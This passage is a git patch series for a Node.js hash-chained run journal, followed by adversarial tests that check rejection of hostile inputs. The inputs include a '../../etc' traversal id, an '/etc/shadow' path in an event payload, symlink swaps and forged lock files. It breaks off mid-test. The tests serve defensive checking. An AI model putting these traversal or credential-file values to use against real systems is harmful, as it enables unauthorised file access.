ones, so any external modification forces a + // full parse/replay before anything else happens. + let snapshot = null; + + async function rebind() { + const fresh = await bindRecord(store, runId); + if (fresh.canonical_digest !== binding.canonical_digest) { + failJournal('run_journal_identity_mismatch', 'run_id', + 'The accepted P24 record for this run changed under the journal.'); + } + return fresh; + } + + async function operate(mutating, fn) { + return withRunChain(dirToken, async () => { + await rebind(); + const rootOpened = await reopenAndVerify(rootToken, 'root'); + let dirOpened = null; + try { + dirOpened = await reopenAndVerify(dirToken, 'directory'); + await verifyCreationStamp(dirOpened, binding); + let lockToken = null; + try { + if (mutating) lockToken = await acquireRunLock(dirOpened); + const result = await fn(dirOpened, lockToken); + const rootAfter = await reopenAndVerify(rootToken, 'root'); + await rootAfter.handle.close().catch(() => {}); + return result; + } finally { + if (lockToken !== null) await releaseRunLock(dirOpened, lockToken); + } + } finally { + if (dirOpened !== null) await dirOpened.handle.close().catch(() => {}); + await rootOpened.handle.close().catch(() => {}); + } + }); + } + + return capturedFreeze({ + root: rootToken.path, + directory: dirToken.path, + run_id: runId, + record_canonical_digest: binding.canonical_digest, + run_fingerprint: fingerprint, + + async currentState() { + return operate(true, async (dirOpened) => { + const audited = await auditedJournal(dirOpened, true, false); + return audited.state; + }); + }, + + async append(event) { + if (event === undefined || event === null || typeof event !== 'object' || Array.isArray(event)) { + failJournal('invalid_type', 'event', 'A journal append must be a plain event object.'); + } + for (const key of sortedCapturedKeys(event)) { + if (!capturedIncludes(['kind', 'data', 'dedupe_key', 'expected_seq'], key)) { + failJournal('unknown_key', `event.${key}`, `event.${key} is not part of the closed append shape.`); + } + } + for (const key of ['kind', 'data']) { + if (!(key in event)) failJournal('missing_key', `event.${key}`, `event.${key} is required.`); + } + if (capturedHasOwn(event, 'expected_seq') + && (typeof event.expected_seq !== 'number' || !NUMBER_IS_SAFE_INTEGER(event.expected_seq) + || event.expected_seq < 1)) { + failJournal('invalid_format', 'event.expected_seq', + 'event.expected_seq must be a positive safe integer.'); + } + const kind = event.kind; + const data = event.data; + const dedupeKey = capturedHasOwn(event, 'dedupe_key') ? event.dedupe_key : undefined; + const expectedSeq = capturedHasOwn(event, 'expected_seq') ? event.expected_seq : undefined; + if (dedupeKey !== undefined && (typeof dedupeKey !== 'string' + || !capturedTest(/^[\x21-\x7e]{1,128}$/u, dedupeKey))) { + failJournal('invalid_format', 'event.dedupe_key', + 'event.dedupe_key must be 1-128 printable ASCII characters.'); + } + return operate(true, async (dirOpened) => { + const cleaned = await auditLayout(dirOpened); + await removeStaleTemporaries(dirOpened, cleaned.temporaries); + const audited = await auditedJournal(dirOpened, false, false); + let current = audited; + if (audited.tornTailBytes > 0) { + await healTornTailLocked(dirOpened, audited.bytes, audited.tornTailBytes); + current = await auditedJournal(dirOpened, true, true); + } + return commitAppend(dirOpened, current, kind, data, dedupeKey, expectedSeq); + }); + }, + + async healTornTail() { + return operate(true, async (dirOpened) => { + const cleaned = await auditLayout(dirOpened); + const removed = await removeStaleTemporaries(dirOpened, cleaned.temporaries); + const audited = await auditedJournal(dirOpened, true, true); + if (audited.tornTailBytes === 0) { + return snapshotRecord({ + healed: false, + removed_temporaries: removed, + state: audited.state, + }); + } + await healTornTailLocked(dirOpened, audited.bytes, audited.tornTailBytes); + const healed = await auditedJournal(dirOpened, true, true); + await republishStateCache(dirOpened, healed.entries, healed.state); + return snapshotRecord({ + healed: true, + removed_temporaries: removed, + state: healed.state, + }); + }); + }, + + async cursorAfter(seq) { + if (typeof seq !== 'number' || !NUMBER_IS_SAFE_INTEGER(seq) || seq < 0) { + failJournal('invalid_format', 'seq', 'seq must be a non-negative safe integer.'); + } + return operate(true, async (dirOpened) => { + const audited = await auditedJournal(dirOpened, true, false); + if (seq > audited.state.revision) { + failJournal('run_journal_cursor_stale', 'seq', + 'The requested cursor position is beyond the committed journal head.'); + } + const head = seq === 0 ? RUN_JOURNAL_GENESIS_PREV : audited.entries[seq - 1].hash; + return snapshotRecord({ + seq, + head_hash: head, + cursor: encodeCursorToken(fingerprint, seq, head), + }); + }); + }, + + async readPage(options) { + let cursor = null; + let limit = MAX_RUN_JOURNAL_PAGE_EVENTS; + if (options !== undefined && options !== null) { + if (typeof options !== 'object' || Array.isArray(options)) { + failJournal('invalid_type', 'options', 'readPage options must be a plain object.'); + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(['cursor', 'limit'], key)) { + failJournal('unknown_key', `options.${key}`, `options.${key} is not part of the closed page shape.`); + } + } + if ('cursor' in options) cursor = options.cursor; + if ('limit' in options) { + limit = options.limit; + if (typeof limit !== 'number' || !NUMBER_IS_SAFE_INTEGER(limit) + || limit < 1 || limit > MAX_RUN_JOURNAL_PAGE_EVENTS) { + failJournal('invalid_format', 'options.limit', + `options.limit must be between 1 and ${MAX_RUN_JOURNAL_PAGE_EVENTS}.`); + } + } + } + return operate(true, async (dirOpened) => { + const audited = await auditedJournal(dirOpened, true, false); + let start = 1; + if (cursor !== null && cursor !== undefined) { + const decoded = decodeCursorToken(cursor, fingerprint); + if (decoded.seq > audited.state.revision) { + failJournal('run_journal_cursor_stale', 'cursor', + 'The cursor points beyond the committed journal head.'); + } + const actualHead = decoded.seq === 0 + ? RUN_JOURNAL_GENESIS_PREV + : audited.entries[decoded.seq - 1].hash; + if (actualHead !== decoded.head) { + failJournal('run_journal_cursor_mismatch', 'cursor', + 'The cursor prefix hash no longer matches this run journal.'); + } + start = decoded.seq + 1; + } + const events = []; + let servedBytes = 0; + let truncated = false; + let index = start; + while (index <= audited.state.revision) { + if (events.length >= limit) { + truncated = index <= audited.state.revision; + break; + } + const lineBytes = audited.entryLines[index - 1]; + if (servedBytes + lineBytes > MAX_RUN_JOURNAL_PAGE_BYTES && events.length > 0) { + truncated = true; + break; + } + events.push(audited.entries[index - 1]); + servedBytes += lineBytes; + index += 1; + } + const remaining = Math.max(0, audited.state.revision - (start - 1 + events.length)); + const nextCursor = events.length > 0 && remaining > 0 + ? encodeCursorToken(fingerprint, start - 1 + events.length, audited.entries[start - 2 + events.length].hash) + : null; + return snapshotRecord({ + events, + next_cursor: nextCursor, + diagnostics: freezeData({ + served_events: events.length, + served_bytes: servedBytes, + truncated, + remaining_events: remaining, + stale_temporaries: temporaryCount(audited), + }), + }); + }); + }, + }); + + async function auditedJournal(dirToken, forceFullAudit, mutateSnapshot) { + // Lock-free readers may observe an atomic rename mid-flight; any complete + // byte snapshot is valid, so such observations retry within bounds. + for (let attempt = 0; ; attempt += 1) { + let opened; + try { + opened = await readBoundedFile( + dirToken, JOURNAL_NAME, MAX_RUN_JOURNAL_FILE_BYTES, JOURNAL_NAME, !mutateSnapshot, + ); + } catch (error) { + if (isJournalVolatility(error) && attempt < MAX_AUDIT_ATTEMPTS) { + await sleep(RUN_JOURNAL_LOCK_POLL_MS * (attempt % 8 === 7 ? 8 : 1)); + continue; + } + throw error; + } + const bytes = opened === null ? null : opened.bytes; + const unchanged = snapshot !== null + && ((snapshot.bytes === null && bytes === null) + || (snapshot.bytes !== null && bytes !== null && snapshot.bytes.equals(bytes))); + if (!forceFullAudit && unchanged) { + if (mutateSnapshot) return snapshot; + return { ...snapshot, layout: await auditLayout(dirToken, !mutateSnapshot) }; + } + try { + const parsed = parseJournalBytes(bytes); + if (parsed.entries.length > MAX_RUN_JOURNAL_ENTRIES) { + failJournal('run_journal_flood', JOURNAL_NAME, + `Run journals must not exceed ${MAX_RUN_JOURNAL_ENTRIES} entries.`); + } + const state = reduceRunJournalEntriesV1(parsed.entries); + const cache = await auditStateCache( + dirToken, parsed.entries, state, !mutateSnapshot, + ); + const audited = { + layout: await auditLayout(dirToken, !mutateSnapshot), + bytes, + entries: parsed.entries, + entryLines: parsed.entryLines, + tornTailBytes: parsed.tornTailBytes, + state, + cacheRevision: cache.present ? cache.revision : null, + }; + snapshot = audited; + return audited; + } catch (error) { + if (isJournalVolatility(error) && attempt < MAX_AUDIT_ATTEMPTS) { + await sleep(RUN_JOURNAL_LOCK_POLL_MS * (attempt % 8 === 7 ? 8 : 1)); + continue; + } + throw error; + } + } + } + + function temporaryCount(audited) { + return audited.layout.temporaries.length; + } + + function dedupeIndexOf(entries) { + const index = new Map(); + for (const entry of entries) { + if (entry.dedupe_key !== undefined) index.set(entry.dedupe_key, entry.seq); + } + return index; +} + +async function commitAppend(dirOpened, audited, kind, data, dedupeKey, expectedSeq) { + const state = audited.state; + const candidateSeq = state.revision + 1; + const existingDedupeSeq = dedupeKey === undefined + ? undefined + : dedupeIndexOf(audited.entries).get(dedupeKey); + if (dedupeKey !== undefined && existingDedupeSeq !== undefined) { + const existingSeq = existingDedupeSeq; + const existing = audited.entries[existingSeq - 1]; + const sameBody = canonicalEventBody(existing.kind, existing.data, existing.dedupe_key) + === canonicalEventBody(kind, data, dedupeKey); + if (sameBody) { + if (existingSeq === state.revision + && (expectedSeq === undefined || expectedSeq === existingSeq)) { + return snapshotRecord({ + created: false, + deduped: true, + entry: existing, + state, + }); + } + if (expectedSeq !== undefined && expectedSeq !== existingSeq) { + failJournal('run_journal_expectation_conflict', 'expected_seq', + 'The compare-and-swap sequence expectation does not match the journal.'); + } + failJournal('run_journal_replay_conflict', 'dedupe_key', + 'That dedupe key already committed earlier in the journal; resubmission is a replay.'); + } + failJournal('run_journal_dedupe_conflict', 'dedupe_key', + 'That dedupe key already binds a different journal event body.'); + } + if (expectedSeq !== undefined && expectedSeq !== candidateSeq) { + failJournal('run_journal_expectation_conflict', 'expected_seq', + 'The compare-and-swap sequence expectation does not match the next journal position.'); + } + if (candidateSeq > MAX_RUN_JOURNAL_ENTRIES) { + failJournal('run_journal_flood', JOURNAL_NAME, + `Run journals must not exceed ${MAX_RUN_JOURNAL_ENTRIES} entries.`); + } + const normalized = validateRunJournalEventDataV1(kind, data); + const hash = entryHash(candidateSeq, state.head_hash, normalized.kind, normalized.data, dedupeKey); + const candidate = freezeData(validateRunJournalEntryV1({ + schema: RUN_JOURNAL_ENTRY_SCHEMA_ID, + seq: candidateSeq, + kind: normalized.kind, + data: normalized.data, + ...(dedupeKey === undefined ? {} : { dedupe_key: dedupeKey }), + prev: state.head_hash, + hash, + })); + const nextState = applyRunJournalEntryV1(state, candidate); + const line = `${canonicalJsonStringify(candidate)}\n`; + const lineBytes = NodeBuffer.byteLength(line, 'utf8'); + if (lineBytes > MAX_RUN_JOURNAL_ENTRY_BYTES + 1) { + failJournal('run_journal_entry_too_large', 'event', + `Journal entries must not exceed ${MAX_RUN_JOURNAL_ENTRY_BYTES} bytes.`); + } + const previousBytes = audited.bytes ?? NodeBuffer.alloc(0); + const newBytes = NodeBuffer.concat([previousBytes, NodeBuffer.from(line, 'utf8')]); + if (newBytes.byteLength > MAX_RUN_JOURNAL_FILE_BYTES) { + failJournal('run_journal_file_too_large', JOURNAL_NAME, + `Journal files must not exceed ${MAX_RUN_JOURNAL_FILE_BYTES} bytes.`); + } + await atomicPublish(dirOpened, JOURNAL_NAME, newBytes, JOURNAL_NAME); + // Publish verification: durable bytes must equal exactly the audited + // prefix plus this one verified entry; nothing else counts as committed. + const reread = await readBoundedFile( + dirOpened, JOURNAL_NAME, MAX_RUN_JOURNAL_FILE_BYTES, JOURNAL_NAME, + ); + if (reread === null || !reread.bytes.equals(newBytes)) { + failJournal('run_journal_publish_unverified', JOURNAL_NAME, + 'The published journal did not verify against the appended entry.'); + } + snapshot = { + layout: audited.layout, + bytes: newBytes, + entries: [...audited.entries, candidate], + entryLines: [...audited.entryLines, lineBytes], + tornTailBytes: 0, + state: nextState, + cacheRevision: nextState.revision, + }; + await republishStateCache(dirOpened, snapshot.entries, snapshot.state); + return snapshotRecord({ + created: true, + deduped: false, + entry: candidate, + state: nextState, + }); + } + +} + +function canonicalEventBody(kind, data, dedupeKey) { + return canonicalJsonStringify(dedupeKey === undefined + ? { kind, data } + : { kind, data, dedupe_key: dedupeKey }); +} + +async function healTornTailLocked(dirToken, bytes, tornTailBytes) { + const goodLength = Number(bytes.byteLength) - tornTailBytes; + const target = childPath(dirToken.path, JOURNAL_NAME); + let handle; + try { + handle = await open(target, FILE_WRITE_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'ENOTDIR' || error?.code === 'EISDIR') { + failJournal('run_journal_not_regular', JOURNAL_NAME, + 'The journal file must stay a regular non-symlink file while it is healed.'); + } + if (error?.code === 'ENOENT') { + failJournal('run_journal_not_found', JOURNAL_NAME, + 'The journal file disappeared before it could be healed.'); + } + throw error; + } + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, JOURNAL_NAME); + await handle.truncate(goodLength); + await handle.sync(); + } finally { + await handle.close().catch(() => {}); + } + await syncDirectory(dirToken.handle); +} + +async function republishStateCache(dirToken, entries, state) { + const canonical = `${canonicalJsonStringify(state)}\n`; + const bytes = NodeBuffer.from(canonical, 'utf8'); + if (bytes.byteLength > MAX_RUN_JOURNAL_STATE_BYTES) { + failJournal('run_journal_state_too_large', STATE_NAME, + 'The derived state cache exceeds the bounded size.'); + } + await atomicPublish(dirToken, STATE_NAME, bytes, STATE_NAME); + const reread = await readBoundedFile(dirToken, STATE_NAME, MAX_RUN_JOURNAL_STATE_BYTES, STATE_NAME); + if (reread === null || !reread.bytes.equals(bytes)) { + failJournal('run_journal_publish_unverified', STATE_NAME, + 'The published derived state did not verify.'); + } +} + +// --------------------------------------------------------------------------- +// Public entry points +// --------------------------------------------------------------------------- + +export async function createRunJournal(options) { + const parsed = parseJournalOptions(options); + // Binding comes first: no journal path is created or read before an exact + // validated accepted-P24 record exists for this run identity. + const binding = await bindRecord(parsed.store, parsed.runId); + const handle = await buildHandle(parsed, binding, 'create'); + // Restore-time discipline mirrors the accepted P24 store: the full layout, + // chain, replay, and cache audit run before the caller sees the handle. + await handle.currentState(); + return handle; +} + +export async function openRunJournal(options) { + const parsed = parseJournalOptions(options); + const binding = await bindRecord(parsed.store, parsed.runId); + const handle = await buildHandle(parsed, binding, 'open'); + await handle.currentState(); + return handle; +} From 6ad47cef4f04bf14fe92f278a56a00a2edac386b Mon Sep 17 00:00:00 2001 From: Ox Alpha Date: Sat, 22 Aug 2026 22:28:44 +0000 Subject: [PATCH 022/151] test(run): cover hostile journal replay, crash, cursor, and lattice behavior r1-run-journal covers exact P24 record binding before any path exists, one/two/eight-child lifecycles with absorbing terminals and the ninth-child bound, exact head dedupe against typed replay and dedupe conflicts, compare-and-swap expected_seq, crash/restart exact replay with stale-cache republish, torn-tail healing on demand and before the next append, committed-corruption hard failures, bounded run-bound cursor paging with content-free diagnostics, cross-process serialization through spawned workers, duplicate-submission single-winner semantics, dead-owner lock recovery and live-owner timeout, entry caps, private modes, and hardlink refusal. r1-run-journal-adversarial drives a seeded hostile randomized transition lattice against an independent reference oracle across many runs, rejects hostile event payloads, symlinked journal/state/lock/stamp/temp names with per-surface typed codes including the advisory lock's own corrupt code, run-directory and whole-root swaps including inode-reuse attempts via the creation stamp, directory floods, foreign entries, oversized files, non-canonical or hash-breaking committed lines, foreign lock files, cursor tampering/staleness/cross-run reuse, append-shape violations without writes, forged P24 bindings with zero filesystem side effects, and frozen content-free outputs. A 3-worker stress fixture anchors cross-process serialization; repeated suite runs stay green. --- .../test/fixtures/r1-run-journal-worker.mjs | 42 ++ .../test/r1-run-journal-adversarial.test.mjs | 564 +++++++++++++++ .../test/r1-run-journal.test.mjs | 676 ++++++++++++++++++ 3 files changed, 1282 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-journal-worker.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-journal-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-journal.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-journal-worker.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-worker.mjs new file mode 100644 index 0000000..a2d3123 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-worker.mjs @@ -0,0 +1,42 @@ +// Cross-process journal appender used by r1-run-journal concurrency tests. +// Usage: +// node r1-run-journal-worker.mjs +// Appends `count` child_progress events with distinct notes and prints one +// JSON result line: { ok, appended, created, deduped, code? }. + +import { openRunStore } from '../../mcp/v3/run-store.mjs'; +import { openRunJournal } from '../../mcp/v3/run-journal.mjs'; + +const [storeRoot, journalRoot, runId, rawCount, prefix] = process.argv.slice(2); +const count = Number.parseInt(rawCount, 10); + +function emit(value) { + process.stdout.write(`${JSON.stringify(value)}\n`); +} + +try { + const store = await openRunStore(storeRoot); + const journal = await openRunJournal({ root: journalRoot, store, run_id: runId }); + let appended = 0; + let created = 0; + let deduped = 0; + for (let index = 0; index < count; index += 1) { + const result = await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: `${prefix}.${index}` }, + dedupe_key: `${prefix}/${index}`, + }); + appended += 1; + if (result.created) created += 1; + if (result.deduped) deduped += 1; + } + emit({ ok: true, appended, created, deduped }); +} catch (error) { + emit({ + ok: false, + code: error?.code ?? 'unknown', + path: error?.path ?? '', + message: String(error?.message ?? error), + }); + process.exit(1); +} diff --git a/plugins/codex-co-engineer/test/r1-run-journal-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal-adversarial.test.mjs new file mode 100644 index 0000000..d539168 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-journal-adversarial.test.mjs @@ -0,0 +1,564 @@ +import assert from 'node:assert/strict'; +import { chmod, lstat, readFile, readdir, rm, symlink, writeFile, unlink } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + MAX_RUN_JOURNAL_CHILDREN, + RUN_JOURNAL_ENTRY_SCHEMA_ID, + RUN_JOURNAL_EVENT_KINDS, + RUN_JOURNAL_GENESIS_PREV, + RUN_JOURNAL_OUTCOMES, + applyRunJournalEntryV1, + emptyRunJournalStateV1, + reduceRunJournalEntriesV1, + validateRunJournalEventDataV1, +} from '../mcp/v3/run-reducer.mjs'; +import { + RUN_JOURNAL_CURSOR_DOMAIN, + RUN_JOURNAL_LOCK_SCHEMA_ID, + createRunJournal, + openRunJournal, + validateBoundRunRecord, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +async function withJournal(fn, { runId = 'run-journal-hostile' } = {}) { + const storeRoot = await makePrivateRoot('r1-p25-adv-store-'); + const journalRoot = await makePrivateRoot('r1-p25-adv-root-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId })); + const journal = await createRunJournal({ root: journalRoot, store, run_id: runId }); + return await fn({ store, storeRoot, journalRoot, runId, journal }); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +} + +async function primeChild(journal) { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); +} + +// Deterministic PRNG so the hostile lattice is reproducible. +function mulberry32(seed) { + let state = seed >>> 0; + return () => { + state = (state + 0x6d2b79f5) >>> 0; + let t = state; + t = Math.imul(t ^ (t >>> 15), t | 1); + t ^= t + Math.imul(t ^ (t >>> 7), t | 61); + return ((t ^ (t >>> 14)) >>> 0) / 4294967296; + }; +} + +// Independent reference oracle for the transition lattice. +function makeOracle() { + const children = new Map(); + let opened = false; + let terminal = false; + return { + get terminal() { return terminal; }, + legal(kind, data) { + if (terminal) return false; + if (kind === 'run_opened') return !opened; + if (!opened) return false; + if (kind === 'run_terminal') { + return children.size >= 1 && [...children.values()].every((value) => value !== null); + } + const id = data.assignment_id; + const current = children.get(id); + if (kind === 'child_started') { + if (current !== undefined) return false; + return children.size < MAX_RUN_JOURNAL_CHILDREN; + } + if (current === undefined || current !== null) return false; + return true; + }, + apply(kind, data) { + if (kind === 'run_opened') opened = true; + else if (kind === 'child_started') children.set(data.assignment_id, null); + else if (kind === 'child_terminal') children.set(data.assignment_id, data.outcome); + else if (kind === 'run_terminal') terminal = true; + }, + }; +} + +function candidateBodies(random, childIds) { + const bodies = []; + bodies.push({ kind: 'run_opened', data: {} }); + for (const kind of ['child_started', 'child_progress', 'child_artifact', 'child_terminal']) { + for (const id of childIds) { + if (kind === 'child_started') bodies.push({ kind, data: { assignment_id: id } }); + else if (kind === 'child_progress') { + bodies.push({ kind, data: { assignment_id: id, note: 'progress.tick' } }); + } else if (kind === 'child_artifact') { + bodies.push({ + kind, + data: { assignment_id: id, artifact: { digest: `sha256:${'a'.repeat(64)}`, bytes: 8 } }, + }); + } else { + bodies.push({ + kind, + data: { assignment_id: id, outcome: RUN_JOURNAL_OUTCOMES[random() * 3 | 0] }, + }); + } + } + } + bodies.push({ kind: 'run_terminal', data: { outcome: 'completed' } }); + return bodies; +} + +test('hostile randomized transition latches match an independent oracle across many seeds', () => { + for (let seed = 1; seed <= 25; seed += 1) { + const random = mulberry32(seed); + const childIds = ['a0', 'a1', 'a2', 'ghost']; + const bodies = candidateBodies(random, childIds); + const oracle = makeOracle(); + let state = emptyRunJournalStateV1(); + const accepted = []; + + for (let step = 0; step < 120; step += 1) { + const body = bodies[random() * bodies.length | 0]; + const expected = oracle.legal(body.kind, body.data); + let reducerAccepted = true; + let nextState = state; + try { + nextState = applyRunJournalEntryV1(state, { + schema: RUN_JOURNAL_ENTRY_SCHEMA_ID, + seq: state.revision + 1, + kind: body.kind, + data: body.data, + prev: state.head_hash, + hash: `sha256:${String(state.revision + 1).padStart(64, 'c')}`, + }); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + reducerAccepted = false; + } + assert.equal(reducerAccepted, expected, `seed ${seed} step ${step} ${body.kind}`); + if (reducerAccepted) { + state = nextState; + accepted.push({ + schema: RUN_JOURNAL_ENTRY_SCHEMA_ID, + seq: state.revision, + kind: body.kind, + data: body.data, + prev: accepted.length === 0 + ? RUN_JOURNAL_GENESIS_PREV + : accepted[accepted.length - 1].hash, + hash: `sha256:${String(state.revision).padStart(64, 'c')}`, + }); + oracle.apply(body.kind, body.data); + } + if (oracle.terminal) { + assert.equal(state.terminal, true); + assert.equal(state.run_outcome !== null, true); + } + } + + // Exact replay of the accepted stream reproduces the folded state. + const replayed = reduceRunJournalEntriesV1(accepted); + assert.equal(canonicalJsonStringify(replayed), canonicalJsonStringify(state)); + // Monotonicity invariants hold. + let counted = 0; + for (const kind of RUN_JOURNAL_EVENT_KINDS) counted += state.event_counts[kind]; + assert.equal(counted, state.revision); + assert.equal(state.child_count <= MAX_RUN_JOURNAL_CHILDREN, true); + } +}); + +test('closed event shapes reject hostile payloads with typed errors', () => { + const hostiles = [ + ['unknown kind', 'teleport', {}], + ['run_opened with payload', 'run_opened', { extra: 1 }], + ['progress with prompt key', 'child_progress', { assignment_id: 'a0', prompt: 'leak' }], + ['progress with free note', 'child_progress', { assignment_id: 'a0', note: 'has space' }], + ['progress with long note', 'child_progress', { assignment_id: 'a0', note: `a${'b'.repeat(80)}` }], + ['artifact with path', 'child_artifact', { + assignment_id: 'a0', + artifact: { digest: `sha256:${'a'.repeat(64)}`, bytes: 8, path: '/etc/shadow' }, + }], + ['artifact with huge bytes', 'child_artifact', { + assignment_id: 'a0', + artifact: { digest: `sha256:${'a'.repeat(64)}`, bytes: 2 ** 53 }, + }], + ['terminal unknown outcome', 'child_terminal', { assignment_id: 'a0', outcome: 'maybe' }], + ['run_terminal unknown outcome', 'run_terminal', { outcome: 'forever' }], + ['assignment id traversal', 'child_started', { assignment_id: '../../etc' }], + ['assignment id uppercase', 'child_started', { assignment_id: 'A0' }], + ]; + for (const [label, kind, data] of hostiles) { + let code = null; + try { + validateRunJournalEventDataV1(kind, data); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + code = error.code; + } + assert.notEqual(code, null, `expected rejection: ${label}`); + } +}); + +test('symlinked journal surfaces fail closed without following', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + const scratch = await mkdtempScratch(); + try { + const outside = path.join(scratch, 'outside.jsonl'); + await writeFile(outside, 'hostile\n'); + + for (const [name, expected] of [ + ['journal.jsonl', 'run_journal_not_regular'], + ['state.json', 'run_journal_not_regular'], + // The advisory lock reader fails closed with its own typed code. + ['lock', 'run_journal_lock_corrupt'], + ['created.json', 'run_journal_not_regular'], + ]) { + const target = path.join(journal.directory, name); + const original = await readFile(target).catch(() => null); + const backup = path.join(scratch, `${name.replace('.', '_')}.bak`); + if (original !== null) await writeFile(backup, original); + await unlink(target).catch(() => {}); + await symlink(outside, target); + const error = await errorOf(() => journal.currentState()); + assert.equal(error.code, expected, name); + await unlink(target); + if (original !== null) await writeFile(target, original); + } + + // A symlinked sibling run directory poisons the whole root audit. + const runsDir = path.join(path.dirname(journal.directory)); + const sibling = path.join(runsDir, 'run-journal-sibling-evil'); + await symlink(outside, sibling); + const poisoned = await errorOf(() => journal.currentState()); + assert.equal(poisoned.code, 'run_journal_unsafe_path'); + await unlink(sibling); + + // A symlink at a temporary name is never followed. + await symlink(outside, path.join(journal.directory, `.tmp-${'a'.repeat(32)}`)); + const tempSymlink = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.t' }, + })); + assert.equal(tempSymlink.code, 'run_journal_torn_temporary'); + } finally { + await rm(scratch, { recursive: true, force: true }); + } + }); +}); + +async function mkdtempScratch() { + const { mkdtemp } = await import('node:fs/promises'); + return mkdtemp(path.join(tmpdir(), 'r1-p25-adv-scratch-')); +} + +test('root and run-directory swaps between operations fail hard', async () => { + await withJournal(async ({ journalRoot, runId, store, journal }) => { + await primeChild(journal); + // Swap the run directory for a fresh empty one. + const dir = journal.directory; + await rm(dir, { recursive: true, force: true }); + const { mkdir } = await import('node:fs/promises'); + await mkdir(dir, { mode: 0o700 }); + const swapped = await errorOf(() => journal.append({ + kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.swap' }, + })); + // A recreated directory cannot carry this binding's creation stamp, so + // inode-reuse tricks cannot smuggle a reset journal past the handle. + // Depending on inode reuse, identity or stamp verification fires first; + // both are hard failures. + assert.ok( + swapped.code === 'run_journal_dir_rebound' + || swapped.code === 'run_journal_root_swapped', + `unexpected code ${swapped.code}`, + ); + + // Swap the entire root. + await rm(journalRoot, { recursive: true, force: true }); + await mkdir(journalRoot, { mode: 0o700 }); + const rootSwapped = await errorOf(() => journal.currentState()); + assert.equal(rootSwapped.code, 'run_journal_root_swapped'); + + // A brand-new handle on the emptied root reports the missing run. + const missing = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(missing.code, 'run_journal_not_found'); + }); +}); + +test('directory floods, foreign entries, and oversized files fail closed', async () => { + await withJournal(async ({ journalRoot, runId, store }) => { + const { mkdir } = await import('node:fs/promises'); + const runsDir = path.join(journalRoot, 'runs'); + for (let index = 0; index < 256; index += 1) { + await mkdir(path.join(runsDir, `run-flood-${index}`), { mode: 0o700 }); + } + const flooded = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(flooded.code, 'run_journal_flood'); + }); + + await withJournal(async ({ journal }) => { + await primeChild(journal); + await writeFile(path.join(journal.directory, 'foreign.txt'), 'nope\n'); + const foreign = await errorOf(() => journal.currentState()); + assert.equal(foreign.code, 'run_journal_foreign_entry'); + }); + + await withJournal(async ({ journal }) => { + await primeChild(journal); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const lines = (await readFile(journalPath, 'utf8')).split('\n').filter(Boolean); + const { MAX_RUN_JOURNAL_FILE_BYTES } = await import('../mcp/v3/run-journal.mjs'); + await writeFile(journalPath, `${lines.join('\n')}\n${'x'.repeat(MAX_RUN_JOURNAL_FILE_BYTES + 1)}`); + const oversized = await errorOf(() => journal.healTornTail()); + assert.equal(oversized.code, 'run_journal_file_too_large'); + }); +}); + +test('malformed committed lines and foreign lock files fail hard', async () => { + await withJournal(async ({ store, journalRoot, runId, journal }) => { + await primeChild(journal); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const lines = (await readFile(journalPath, 'utf8')).split('\n').filter(Boolean); + + // Non-canonical but valid JSON in a committed line. + const parsed = JSON.parse(lines[0]); + const reordered = { + hash: parsed.hash, prev: parsed.prev, data: parsed.data, + kind: parsed.kind, seq: parsed.seq, schema: parsed.schema, + }; + const nonCanonical = canonicalJsonStringify(reordered).replace('{"data"', '{ "data"'); + await writeFile(journalPath, `${canonicalJsonStringify(parsed)}\n${lines[1]}\n${nonCanonical}\n`); + const malformed = await errorOf(() => journal.currentState()); + assert.equal(malformed.code, 'run_journal_committed_corruption'); + + // Blank committed line. + await writeFile(journalPath, `${lines.join('\n')}\n\n`); + const blank = await errorOf(() => journal.currentState()); + assert.equal(blank.code, 'run_journal_committed_corruption'); + + // Unknown envelope key in a committed entry. + const extra = { ...parsed, surprise: 1 }; + await writeFile(journalPath, `${canonicalJsonStringify(extra)}\n${lines[1]}\n`); + const unknownKey = await errorOf(() => journal.currentState()); + assert.equal(unknownKey.code, 'run_journal_committed_corruption'); + + // Foreign lock content is never followed or adopted. + await writeFile(path.join(journal.directory, 'lock'), 'garbage-lock\n'); + const lock = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.lock' }, + })); + assert.equal(lock.code, 'run_journal_lock_corrupt'); + await rm(path.join(journal.directory, 'lock'), { force: true }); + void store; void journalRoot; void runId; + }); +}); + +test('cursor hostiles: 